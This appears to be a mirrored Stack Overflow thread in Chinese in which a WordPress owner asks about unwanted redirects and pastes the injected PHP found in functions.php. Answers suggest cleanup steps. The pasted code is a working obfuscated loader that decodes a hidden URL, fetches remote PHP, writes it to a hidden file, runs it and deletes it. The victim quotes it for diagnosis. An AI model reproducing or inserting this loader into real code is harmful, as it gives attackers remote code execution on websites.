【问题标题】:Unwanted redirection in wordpress sitewordpress 网站中不需要的重定向
【发布时间】:2021-09-26 06:39:48
【问题描述】:

我在共享服务器上托管了几个 wordpress 站点,两个站点都面临相同的问题,每当访问它们时,它们都会被重定向到其他站点,我在 function.php 中找到了重定向脚本, 并对帖子发表评论。我在 function.php 中找到的脚本是

@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

    $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQsM7IlQPPeZfl3OdrpdmmSLH6uToRkH";
    
if (!function_exists('get_data_ya')) {
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($m) {
            $data = file_get_contents($m);
            return $data;
        }
    }
    else {
        function get_data_ya($m) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $m);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
}

if (!function_exists('wp_cd')) {
        function wp_cd($fd, $fa="") {
            $fe = "wp_frmfunct";
            $len = strlen($fd);
            $ff = '';
            $n = $len>100 ? 8 : 2;
            while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
            return $fd^$ff;
       }
}
    

    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
      if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
      $subdirs = glob("$dira/*", GLOB_ONLYDIR);
      foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
      }
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
    $npDcheckClassBgp = 'aue';

    $zeeta = "yup";

    }

我在其中一个网站中有两个文件 .htaccess.k,另一个是 .htaccess

.htaccess.k 有以下代码

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

和.htaccess文件有


# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

我扫描了整个网站和 wordpress 文件,我扫描了恶意软件,但没有发现仍然面临问题的问题,请帮助。

【问题讨论】:

    标签: wordpress .htaccess redirect malware


    【解决方案1】:

    我认为您的网站已被黑客入侵。找到他们所做的事情是如此烦人,而且从来都不一样。它可能在任何地方,在插件内,在您的主题内,有时他们甚至在 WP 核心文件夹中插入恶意脚本。您唯一能做的就是开始搜索数据库 + 源代码文件,寻找可疑的东西。您可以首先在任何地方(DB + 文件)搜索您要登陆的站点的名称或其名称的一部分。你可以直接找到答案。另一件事是在你的页面中禁用 JS 并查看重定向是否仍在发生(至少你会明白它是服务器端的还是客户端的)。

    也许所有恶意代码都在functions.php中,你只需要了解它到底在做什么

    【讨论】:

    • 非常感谢您的回复,Diego 我在 function.php 中找到了代码我已经刷过源代码,最近我确实在 footer.php 中找到了 &lt;script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-5e9ea8386d403cb9"&gt;&lt;/script&gt; 这个然后我有一些重定向评论部分也删除了所有这些。
    • 您的网站现在安全吗?还要检查数据库。在数据库中寻找 eval
    • 不,我没有摆脱它仍然面临同样的问题
    • zoocahda.buzz 这是我的意思是重定向站点的问题
    • 您应该在代码库 + DB 中的任何位置搜索该站点。如果它不在任何地方,则只剩下一个选项:它已以某种方式编码,可能是 base64 或其他一些可逆的东西
    【解决方案2】:

    打开 chrome 或 firefox。打开开发控制台。进入网络,点击保存日志。转到正在重定向的 URL。您应该能够在加载的脚本列表中找到重定向您的站点的脚本。你会看到其中一个看起来非常不正常。像这样在您的页面上查看源代码:

    view-source:example.com
    

    使用 CTRL+F 搜索该脚本

    现在转到 wp-posts 所在的数据库。在数据库中搜索它

    SELECT * FROM WP_POSTS WHERE POST_CONTENT LIKE '%sript_url%'
    

    现在做一个替换

    UPDATE `wp_posts`
    SET post_content = REPLACE(post_content,"content_of_script","")
    WHERE `post_content` LIKE "%content_of_script%";
    

    然后安装 wordfence 或类似的插件来防止 SQL 注入。

    【讨论】:

      【解决方案3】:

      打开所有主题 function.php 并删除此脚本。之后该网站工作正常

      【讨论】:

        【解决方案4】:

        面临同样的问题。您可以在另一个文件中找到被黑代码,也可以按照此步骤操作。

        • 在 wp-include 文件夹中,您会找到需要删除的header.php 文件。还要确保在wp-config.php 文件中有一个类似 require header.php 的文件,也将其删除,这样您就不会面临警告。

        • 搜索wp-load.php 文件,您可以在不同位置看到多个具有此名称的文件。一个是核心文件,其他是被黑的内容。删除那些文件。

        • 同时检查您的主题文件夹,您可能创建了一些新文件夹,删除这些文件夹。

        希望这会有所帮助。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 2017-04-30
          相关资源
          最近更新 更多